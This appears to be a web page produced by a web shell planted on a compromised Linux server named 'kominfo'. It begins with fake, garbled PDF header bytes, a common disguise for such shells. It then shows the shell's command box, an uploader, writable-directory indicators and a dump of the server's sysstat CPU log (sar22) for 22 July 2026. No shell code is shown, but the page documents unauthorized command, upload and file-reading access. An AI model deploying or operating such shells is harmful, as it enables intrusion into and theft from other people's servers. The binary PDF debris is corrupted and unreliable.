%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/log/sysstat/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/log/sysstat/sar22
Linux 6.8.0-124-generic (kominfo) 	2026-07-22 	_x86_64_	(12 CPU)

00:00:02        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:02        all      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
00:10:02          0      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
00:10:02          1      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
00:10:02          2      0.01      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.97
00:10:02          3      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
00:10:02          4      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
00:10:02          5      0.02      0.00      0.02      0.04      0.00      0.00      0.00      0.00      0.00     99.93
00:10:02          6      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
00:10:02          7      0.01      0.00      0.03      0.02      0.00      0.00      0.00      0.00      0.00     99.94
00:10:02          8      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00     99.99
00:10:02          9      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
00:10:02         10      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
00:10:02         11      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
00:20:02        all      0.03      0.00      0.02      0.05      0.00      0.00      0.00      0.00      0.00     99.90
00:20:02          0      0.03      0.00      0.02      0.14      0.00      0.00      0.00      0.00      0.00     99.80
00:20:02          1      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
00:20:02          2      0.02      0.00      0.02      0.09      0.00      0.00      0.00      0.00      0.00     99.87
00:20:02          3      0.01      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.96
00:20:02          4      0.02      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.95
00:20:02          5      0.10      0.00      0.03      0.02      0.00      0.00      0.00      0.00      0.00     99.86
00:20:02          6      0.03      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
00:20:02          7      0.02      0.00      0.04      0.02      0.00      0.00      0.00      0.00      0.00     99.91
00:20:02          8      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
00:20:02          9      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.96
00:20:02         10      0.01      0.00      0.03      0.15      0.00      0.00      0.00      0.00      0.00     99.81
00:20:02         11      0.04      0.00      0.03      0.08      0.00      0.00      0.00      0.00      0.00     99.85
00:30:02        all      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
00:30:02          0      0.03      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.95
00:30:02          1      0.03      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.95
00:30:02          2      0.01      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
00:30:02          3      0.02      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00     99.97
00:30:02          4      0.03      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.96
00:30:02          5      0.05      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.93
00:30:02          6      0.02      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
00:30:02          7      0.03      0.00      0.03      0.03      0.00      0.00      0.00      0.00      0.00     99.92
00:30:02          8      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
00:30:02          9      0.03      0.00      0.05      0.01      0.00      0.00      0.00      0.00      0.00     99.91
00:30:02         10      0.02      0.00      0.03      0.00      0.00      0.00      0.00      0.00      0.00     99.95
00:30:02         11      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
00:40:02        all      0.07      0.02      0.04      0.01      0.00      0.00      0.00      0.00      0.00     99.86
00:40:02          0      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.94
00:40:02          1      0.03      0.00      0.04      0.01      0.00      0.00      0.00      0.00      0.00     99.93
00:40:02          2      0.18      0.00      0.05      0.00      0.00      0.00      0.00      0.00      0.00     99.76
00:40:02          3      0.10      0.22      0.07      0.01      0.00      0.00      0.00      0.00      0.00     99.60
00:40:02          4      0.13      0.00      0.03      0.02      0.00      0.00      0.00      0.00      0.00     99.82
00:40:02          5      0.05      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.90
00:40:02          6      0.03      0.00      0.03      0.02      0.00      0.00      0.01      0.00      0.00     99.92
00:40:02          7      0.03      0.00      0.04      0.01      0.00      0.00      0.01      0.00      0.00     99.91
00:40:02          8      0.04      0.00      0.04      0.01      0.00      0.00      0.00      0.00      0.00     99.90
00:40:02          9      0.07      0.00      0.10      0.00      0.00      0.00      0.00      0.00      0.00     99.82
00:40:02         10      0.03      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.94
00:40:02         11      0.17      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.80
00:50:00        all      0.28      0.04      0.22      0.02      0.00      0.00      0.00      0.00      0.00     99.44
00:50:00          0      0.19      0.00      0.24      0.02      0.00      0.00      0.00      0.00      0.00     99.55
00:50:00          1      0.15      0.00      0.20      0.01      0.00      0.00      0.00      0.00      0.00     99.64
00:50:00          2      0.36      0.00      0.27      0.01      0.00      0.00      0.00      0.00      0.00     99.35
00:50:00          3      0.37      0.01      0.26      0.01      0.00      0.00      0.00      0.00      0.00     99.34
00:50:00          4      0.35      0.11      0.27      0.01      0.00      0.00      0.00      0.00      0.00     99.26
00:50:00          5      0.34      0.00      0.25      0.02      0.00      0.00      0.00      0.00      0.00     99.39
00:50:00          6      0.20      0.00      0.16      0.05      0.00      0.00      0.01      0.00      0.00     99.58
00:50:00          7      0.28      0.00      0.24      0.03      0.00      0.00      0.00      0.00      0.00     99.45
00:50:00          8      0.37      0.11      0.23      0.03      0.00      0.00      0.01      0.00      0.00     99.26
00:50:00          9      0.20      0.21      0.21      0.01      0.00      0.00      0.00      0.00      0.00     99.37
00:50:00         10      0.34      0.00      0.20      0.01      0.00      0.00      0.00      0.00      0.00     99.45
00:50:00         11      0.20      0.00      0.16      0.04      0.00      0.00      0.00      0.00      0.00     99.60
01:00:00        all      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
01:00:00          0      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.99
01:00:00          1      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.95
01:00:00          2      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.95
01:00:00          3      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
01:00:00          4      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.97
01:00:00          5      0.01      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.96
01:00:00          6      0.01      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.96
01:00:00          7      0.05      0.00      0.08      0.01      0.00      0.00      0.00      0.00      0.00     99.86
01:00:00          8      0.03      0.00      0.05      0.02      0.00      0.00      0.00      0.00      0.00     99.91
01:00:00          9      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
01:00:00         10      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
01:00:00         11      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
01:10:00        all      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.94
01:10:00          0      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
01:10:00          1      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.95
01:10:00          2      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.95
01:10:00          3      0.01      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.95
01:10:00          4      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
01:10:00          5      0.01      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.96
01:10:00          6      0.02      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
01:10:00          7      0.05      0.00      0.07      0.00      0.00      0.00      0.00      0.00      0.00     99.88
01:10:00          8      0.07      0.00      0.07      0.01      0.00      0.00      0.00      0.00      0.00     99.86
01:10:00          9      0.04      0.00      0.05      0.01      0.00      0.00      0.00      0.00      0.00     99.90
01:10:00         10      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
01:10:00         11      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
01:20:00        all      0.03      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.93
01:20:00          0      0.04      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.94
01:20:00          1      0.05      0.00      0.04      0.02      0.00      0.00      0.00      0.00      0.00     99.90
01:20:00          2      0.03      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.93
01:20:00          3      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
01:20:00          4      0.02      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.95
01:20:00          5      0.03      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
01:20:00          6      0.02      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
01:20:00          7      0.03      0.00      0.04      0.02      0.00      0.00      0.00      0.00      0.00     99.91
01:20:00          8      0.05      0.00      0.08      0.00      0.00      0.00      0.00      0.00      0.00     99.87
01:20:00          9      0.05      0.00      0.10      0.01      0.00      0.00      0.00      0.00      0.00     99.84
01:20:00         10      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
01:20:00         11      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
01:30:01        all      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
01:30:01          0      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
01:30:01          1      0.02      0.00      0.03      0.00      0.00      0.00      0.00      0.00      0.00     99.95
01:30:01          2      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.94
01:30:01          3      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
01:30:01          4      0.03      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.95
01:30:01          5      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.95
01:30:01          6      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
01:30:01          7      0.03      0.00      0.04      0.03      0.00      0.00      0.00      0.00      0.00     99.90
01:30:01          8      0.04      0.00      0.05      0.00      0.00      0.00      0.00      0.00      0.00     99.91
01:30:01          9      0.01      0.00      0.01      0.03      0.00      0.00      0.00      0.00      0.00     99.95
01:30:01         10      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.94
01:30:01         11      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
01:40:01        all      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
01:40:01          0      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
01:40:01          1      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
01:40:01          2      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
01:40:01          3      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.95
01:40:01          4      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
01:40:01          5      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.97
01:40:01          6      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
01:40:01          7      0.05      0.00      0.07      0.02      0.00      0.00      0.00      0.00      0.00     99.87
01:40:01          8      0.03      0.00      0.03      0.00      0.00      0.00      0.00      0.00      0.00     99.93
01:40:01          9      0.01      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.96
01:40:01         10      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
01:40:01         11      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
01:50:01        all      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.95
01:50:01          0      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
01:50:01          1      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
01:50:01          2      0.02      0.00      0.03      0.02      0.00      0.00      0.00      0.00      0.00     99.94
01:50:01          3      0.01      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.95
01:50:01          4      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
01:50:01          5      0.01      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.96
01:50:01          6      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
01:50:01          7      0.05      0.00      0.08      0.01      0.00      0.00      0.00      0.00      0.00     99.87
01:50:01          8      0.05      0.00      0.08      0.00      0.00      0.00      0.00      0.00      0.00     99.87
01:50:01          9      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
01:50:01         10      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
01:50:01         11      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97

01:50:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:01        all      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.94
02:00:01          0      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.99
02:00:01          1      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
02:00:01          2      0.02      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
02:00:01          3      0.03      0.00      0.03      0.00      0.00      0.00      0.00      0.00      0.00     99.94
02:00:01          4      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
02:00:01          5      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
02:00:01          6      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
02:00:01          7      0.03      0.00      0.06      0.00      0.00      0.00      0.00      0.00      0.00     99.91
02:00:01          8      0.06      0.00      0.11      0.01      0.00      0.00      0.00      0.00      0.00     99.83
02:00:01          9      0.03      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.94
02:00:01         10      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
02:00:01         11      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.98
02:10:01        all      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
02:10:01          0      0.00      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.99
02:10:01          1      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
02:10:01          2      0.02      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
02:10:01          3      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
02:10:01          4      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
02:10:01          5      0.01      0.00      0.01      0.04      0.00      0.00      0.00      0.00      0.00     99.95
02:10:01          6      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
02:10:01          7      0.02      0.00      0.05      0.00      0.00      0.00      0.00      0.00      0.00     99.93
02:10:01          8      0.05      0.00      0.07      0.01      0.00      0.00      0.00      0.00      0.00     99.87
02:10:01          9      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
02:10:01         10      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00     99.99
02:10:01         11      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
02:20:01        all      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
02:20:01          0      0.00      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.99
02:20:01          1      0.02      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
02:20:01          2      0.02      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
02:20:01          3      0.01      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.96
02:20:01          4      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
02:20:01          5      0.01      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.96
02:20:01          6      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
02:20:01          7      0.03      0.00      0.04      0.00      0.00      0.00      0.00      0.00      0.00     99.93
02:20:01          8      0.02      0.00      0.04      0.00      0.00      0.00      0.00      0.00      0.00     99.94
02:20:01          9      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
02:20:01         10      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
02:20:01         11      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
02:30:01        all      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
02:30:01          0      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
02:30:01          1      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
02:30:01          2      0.00      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.98
02:30:01          3      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
02:30:01          4      0.02      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.95
02:30:01          5      0.02      0.00      0.02      0.03      0.00      0.00      0.00      0.00      0.00     99.93
02:30:01          6      0.00      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.96
02:30:01          7      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
02:30:01          8      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
02:30:01          9      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
02:30:01         10      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
02:30:01         11      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
02:40:01        all      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.94
02:40:01          0      0.05      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.92
02:40:01          1      0.03      0.00      0.03      0.02      0.00      0.00      0.00      0.00      0.00     99.93
02:40:01          2      0.01      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.96
02:40:01          3      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
02:40:01          4      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
02:40:01          5      0.03      0.00      0.04      0.02      0.00      0.00      0.00      0.00      0.00     99.91
02:40:01          6      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
02:40:01          7      0.04      0.00      0.07      0.00      0.00      0.00      0.00      0.00      0.00     99.89
02:40:01          8      0.04      0.00      0.06      0.00      0.00      0.00      0.00      0.00      0.00     99.90
02:40:01          9      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.94
02:40:01         10      0.00      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.99
02:40:01         11      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
02:50:01        all      0.05      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.91
02:50:01          0      0.04      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.92
02:50:01          1      0.01      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.95
02:50:01          2      0.00      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.97
02:50:01          3      0.01      0.00      0.03      0.02      0.00      0.00      0.00      0.00      0.00     99.94
02:50:01          4      0.17      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.81
02:50:01          5      0.04      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.92
02:50:01          6      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.98
02:50:01          7      0.03      0.00      0.05      0.00      0.00      0.00      0.00      0.00      0.00     99.93
02:50:01          8      0.03      0.00      0.04      0.00      0.00      0.00      0.00      0.00      0.00     99.94
02:50:01          9      0.03      0.00      0.03      0.00      0.00      0.00      0.00      0.00      0.00     99.94
02:50:01         10      0.00      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.99
02:50:01         11      0.29      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.68
03:00:01        all      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.94
03:00:01          0      0.03      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.96
03:00:01          1      0.01      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.97
03:00:01          2      0.01      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.96
03:00:01          3      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
03:00:01          4      0.02      0.00      0.02      0.03      0.00      0.00      0.00      0.00      0.00     99.93
03:00:01          5      0.04      0.00      0.04      0.02      0.00      0.00      0.00      0.00      0.00     99.91
03:00:01          6      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
03:00:01          7      0.03      0.00      0.06      0.00      0.00      0.00      0.00      0.00      0.00     99.91
03:00:01          8      0.05      0.00      0.07      0.01      0.00      0.00      0.00      0.00      0.00     99.87
03:00:01          9      0.03      0.00      0.03      0.00      0.00      0.00      0.00      0.00      0.00     99.95
03:00:01         10      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
03:00:01         11      0.03      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
03:10:01        all      0.03      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.93
03:10:01          0      0.03      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.95
03:10:01          1      0.10      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.86
03:10:01          2      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.98
03:10:01          3      0.03      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
03:10:01          4      0.03      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.93
03:10:01          5      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.93
03:10:01          6      0.05      0.00      0.07      0.01      0.00      0.00      0.00      0.00      0.00     99.87
03:10:01          7      0.02      0.00      0.03      0.02      0.00      0.00      0.00      0.00      0.00     99.93
03:10:01          8      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
03:10:01          9      0.01      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.97
03:10:01         10      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.99
03:10:01         11      0.05      0.00      0.08      0.00      0.00      0.00      0.00      0.00      0.00     99.87
03:20:01        all      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
03:20:01          0      0.03      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.96
03:20:01          1      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
03:20:01          2      0.00      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.99
03:20:01          3      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
03:20:01          4      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
03:20:01          5      0.03      0.00      0.04      0.03      0.00      0.00      0.00      0.00      0.00     99.90
03:20:01          6      0.01      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.96
03:20:01          7      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.98
03:20:01          8      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
03:20:01          9      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
03:20:01         10      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
03:20:01         11      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
03:30:01        all      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
03:30:01          0      0.03      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
03:30:01          1      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
03:30:01          2      0.00      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.98
03:30:01          3      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
03:30:01          4      0.04      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.94
03:30:01          5      0.03      0.00      0.03      0.03      0.00      0.00      0.00      0.00      0.00     99.91
03:30:01          6      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
03:30:01          7      0.02      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
03:30:01          8      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.95
03:30:01          9      0.01      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
03:30:01         10      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
03:30:01         11      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
